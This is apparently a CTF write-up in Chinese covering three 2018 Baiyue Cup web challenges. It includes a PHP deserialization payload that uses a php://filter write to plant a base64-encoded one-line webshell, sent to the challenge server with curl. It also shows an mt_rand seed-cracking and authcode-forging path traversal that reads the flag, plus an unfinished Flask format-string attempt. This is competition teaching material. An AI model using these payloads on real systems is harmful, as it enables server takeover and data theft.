2018百越杯Web題解
題目給了原始碼,如下:
使用過 assert 一句話木馬的應該就知道怎麼解, payload 如下:
simple ser
很明顯這道題目考察的是 反序列化 以及 PHP偽協議 的使用。可以看到上圖 第28行 程式碼中, $this->filename 變數可控,且 $content 後面拼接的 $this->txt 也可控。而在 第26行 程式碼中存在 die 語句,也就是說雖然我們可以控制 $this->txt 變數的值,但是在這個變數之前還有 die 語句,這會導致我們寫入的語句無法執行,所以這時我們便考慮使用 PHP偽協議 。關於 PHP偽協議 的使用,看下面測試程式碼即可:
可以看到上圖 第6行 程式碼成功將 exit 語句變成亂碼,剩下的無非是反序列化的利用與魔術方法的使用,具體可以翻閱PHP手冊,這裡不贅述。下面直接給出我的 payload :
<?php class cls1{ ...... } class cls2{ ...... } $c1 = new cls1(); $c2 = new cls2(); $c1->cls = $c2; $c1->arr = array('demo' => 'fileput'); $c2->filename = 'php://filter/write=convert.base64-decode/resource=hello.php'; $c2->txt = 'PD89QGAkX0dFVFtfXWA/Pg=='; echo base64_encode(serialize($c1)); // 結果為:Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU5OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWhlbGxvLnBocCI7czozOiJ0eHQiO3M6MjQ6IlBEODlRR0FrWDBkRlZGdGZYV0EvUGc9PSI7fXM6MzoiYXJyIjthOjE6e3M6NDoiZGVtbyI7czo3OiJmaWxlcHV0Ijt9fQ== ?>
curl -d "ser=Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU5OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWhlbGxvLnBocCI7czozOiJ0eHQiO3M6MjQ6IlBEODlRR0FrWDBkRlZGdGZYV0EvUGc9PSI7fXM6MzoiYXJyIjthOjE6e3M6NDoiZGVtbyI7czo3OiJmaWxlcHV0Ijt9fQ==" http://xxxxxxxxx.game.ichunqiu.com
Download it
題目介面如下:
題目給了三張圖片形式的程式碼,下面是
可以看到上圖 第23-26行 程式碼,只有通過 authcode 方法正常解密的檔名,才可以下載,而且用來解密用的 $key 是從 authcode.php 中獲取的。我們可以觀察首頁原始碼中給的下載連結形式:
http://xxxx.game.ichunqiu.com/download.php?download=4aeapeMLyHGQlt5gdug72LJ71XZPntDA0%2FTwD7pLw38k68VcgTsEMnKH%2BO8vFezHQaZYKg http://xxxx.game.ichunqiu.com/download.php?download=accdHpLzFPh%2FJPxRtyoHArsHuUXqjXM0WwdRjA2UusoJw69H3deZAWcLitlNz1WHM6s2bcHSUA http://xxxx.game.ichunqiu.com/download.php?download=d222T%2B7rBWWzPrZaIG3a9RQy2Du5G%2B03AI3D3tCFTJVIipHqlUAx4LMYlvCzntUc1zfIcO8
authcode程式碼在第二張圖片中,如下(其中同時包含了加密與解密功能):
題目還給了第三張圖片程式碼,如下:
這段程式碼給出了 gen_rand 方法以及將一個flag存在 gen_rand(8).php 的檔案中。在前面觀察首頁的時候,還會發現一個連結被註釋了,我們可以通過該連結下載一個php檔案下來。例如我的環境下載的是: IJiJXvRf.php 內容為: <?php //flag{This is fake flag, but it looks useful} 。顯然這是一個假的flag,但是這個檔名對應的就是 gen_rand(8) 。所以我們可以通過爆破隨機種子,算出 $key (即 gen_rand(32) ),具體可參考文章: ofollow,noindex">http://wonderkun.cc/index.html/?p=585。(php_mt_seed下載地址:[php_mt_seed-3.2](http://www.am0s.com/wp-content/uploads/2017/03/php_mt_seed-3.2.tar) )
下面直接給出解法:
我們用解出來的32位 $key 來解密一下首頁已有的連結,例如我們嘗試下面這個連結:
http://xxxx.game.ichunqiu.com/download.php?download=4aeapeMLyHGQlt5gdug72LJ71XZPntDA0%2FTwD7pLw38k68VcgTsEMnKH%2BO8vFezHQaZYKg
所以我們就可以構造 authcode(‘filename=../../../flag’,’ENCODE’, $key) ,如下:
Easy flask(未完成)
一開始試了 JWT 爆破,可以將 secret key 的值爆破出來,偽造 admin 身份還是無法繞過登入登入檢測。嘗試在 edit 處進行 SSTI 發現不行。
題目給了兩個提示:
- flask_sqlalchemy==2.2
- 格式化字串
參考文章: Python格式化字串漏洞(Django為例) ,發現題目程式碼中存在很相似的格式化字串注入的地方:
# secert.py name = u"<h1>name:{user_m.username}<h1>" email = u"<h2>email:{user_m.email}<h2>" info = (name+email+secert_t).format(user_m=user_m)
但是最終還是沒有利用成功,還是等官方WP吧。